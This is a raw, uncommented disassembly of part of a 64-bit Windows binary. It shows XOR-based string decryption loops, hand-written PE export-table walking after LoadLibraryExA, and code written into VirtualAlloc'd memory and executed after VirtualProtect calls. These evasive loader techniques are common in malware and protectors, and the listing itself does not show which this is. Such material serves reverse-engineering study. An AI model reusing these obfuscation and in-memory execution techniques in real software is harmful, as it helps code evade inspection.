imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001e52c
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400d5170]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400d5060]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x8af3
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x456e7bd72c
cmp r9, rax
jb 0x14001e5c8
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008def8
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400eb370], r14
jne 0x14001e696
mov ecx, 0x26b0
call fcn.1400927bc
test rax, rax
je 0x14001e696
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400eb370], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400d50e0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.1400286fc
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14001e6d5
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400eb370]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14001e7f1
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001e7a9
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400927bc
mov rsi, rax
test rax, rax
je 0x14001e7ee
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b09b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b1050
mov rcx, rdi
call fcn.140092698
mov qword [0x1400eb370], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140028614
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14001e812
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400eb370]
test rbx, rbx
je 0x14001e91c
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001e8d6
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400927bc
mov rsi, rax
test rax, rax
je 0x14001e919
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b09b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b1050
mov rcx, rdi
call fcn.140092698
mov qword [0x1400eb370], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001eb4b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001eb4b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001eb4b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001eb4b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001eb4b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e9b0
inc rax
test edi, edi
jne 0x14001e99b
test r8d, r8d
je 0x14001e9c2
inc rdx
cmp rdx, rsi
jb 0x14001e98a
jmp 0x14001eb4b
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001eb4b
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14001e9e7
mov r14d, r15d
jmp 0x14001eb4b
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.140086f30
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.1400291d8
lea rcx, [rbp + 0x87b0]
call fcn.140028770
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.140028770
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001ea5e
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400b09b0
mov dword [0x1400e6064], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400e6060]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e6068]
mov word [rdi + 8], ax
mov al, byte [0x1400e606a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400b1050
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e6064], r15d
mov rdi, qword [0x1400eb370]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14001ebff
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001ebed
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001ebed
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001ebb2
xor edx, edx
call fcn.1400b1050
jmp 0x14001ebeb
cmp al, 1
jne 0x14001ebed
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140028f40
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.1400290f4
lea rcx, [rbp + 0x1168]
call fcn.140029084
lea rcx, [rbp + 0x1168]
call fcn.1400089a8
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14001eb76
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b1050
mov rcx, rdi
call fcn.140092698
xor r15d, r15d
mov qword [0x1400eb370], r15
test r14d, r14d
js 0x1400270c7
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x1400270c7
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400927bc
test rax, rax
je 0x14001ec63
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400eb370], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400d50e0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.1400286fc
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14001eca6
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400eb370]
test rbx, rbx
je 0x14001edcd
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001ed79
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400927bc
mov rsi, rax
test rax, rax
je 0x14001edc0
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b09b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b1050
mov rcx, rdi
call fcn.140092698
mov qword [0x1400eb370], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001edc3
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140028614
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14001ede4
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400eb370]
test rbx, rbx
je 0x14001eef3
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001eeab
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400927bc
mov rsi, rax
test rax, rax
je 0x14001eef0
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400eb370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b09b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b1050
mov rcx, rdi
call fcn.140092698
mov qword [0x1400eb370], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001eef3
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001ef84
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001ef84
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001ef84
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001ef84
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001ef84
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001ef73
inc rax
test edi, edi
jne 0x14001ef5e
test r8d, r8d
je 0x14001efff
inc rdx
cmp rdx, rsi
jb 0x14001ef4d
mov esi, r15d
mov rdi, qword [0x1400eb370]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14001f1ce
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001f1bb
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001f1bb
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001f182
xor edx, edx
call fcn.1400b1050
jmp 0x14001f1bb
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001ef84
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14001ef84
cmp al, 1
jne 0x14001f1bb
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.140028f40
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.1400290f4
lea rcx, [rbp + 0x1148]
call fcn.140029084
lea rcx, [rbp + 0x1148]
call fcn.1400089a8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14001efb4
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b1050
mov rcx, rdi
call fcn.140092698
mov qword [0x1400eb370], r13
test esi, esi
js 0x140026f2e
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x140026f2e
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14001f27e
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001f2f7
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x14001f2d9
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14001f393
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r9b, dil
xor r9b, 5
mov ebx, edi
mov ecx, esi
lea r10, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r10]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r10, r14
cmp ecx, 8
jb 0x14001f40b
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], reloc.WLDAP32.dll_Ordinal_45
mov r10, r13
movabs rbx, 0x10563b41b
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x115b9ef5cb
movabs r9, 0x22b73deb96
movabs r14, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140026f82
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400d4fb0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xd74e2751
mov dword [rbp + 0x96c], 0xf3cdf995
mov dword [rbp + 0x970], 0x29fbc16a
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x1c96e7b2f4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x958]
xor dil, r8b
mov byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x392dcf65e8
cmp r9, rax
jb 0x14002702d
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], reloc.WLDAP32.dll_Ordinal_45
mov r10, r15
movabs rbx, 0x10563b41b
movabs rsi, 0x8080808080808081
movabs r8, 0x115b9ef5cb
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x22b73deb96
movabs r14, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002711b
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400d4fa0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x2437cd60
mov word [rbp + 0x754], 0xe0
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x15712dc637
movabs r10, 0x2ae25b8c6e
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x1400271bf
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008def8
int3
cmp rax, rbx
jne 0x1400272fb
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400272db
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400272db
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400272fb
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], reloc.WLDAP32.dll_Ordinal_45
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x115b9ef5cb
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x22b73deb96
movabs r15, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140027345
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400d4e70]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xdb82b865
mov dword [rbp + 0x82c], 0x794808
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x177bf52e6d
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x2ef7ea5cda
cmp r9, rax
jb 0x1400273e0
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[8]
cmp rax, rbx
jne 0x14002751e
mov rax, qword gs:[0x12]
mov ecx, 0x603ef84
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400274fe
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400274fe
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002751e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rbx
jne 0x140027bc5
mov rax, qword gs:[0x12]
movabs rcx, 0x8d5b3c2ae1c0860
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400275b6
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400275b6
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027bc5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], reloc.WLDAP32.dll_Ordinal_45
mov r10, r15
movabs rbx, 0x8080808080808081
movabs r8, 0x115b9ef5cb
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x22b73deb96
movabs r14, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140027620
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400d4e40]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x2d33c945
mov word [rbp + 0x76c], 0xf1
mov r9, r15
movabs r8, 0x15712dc637
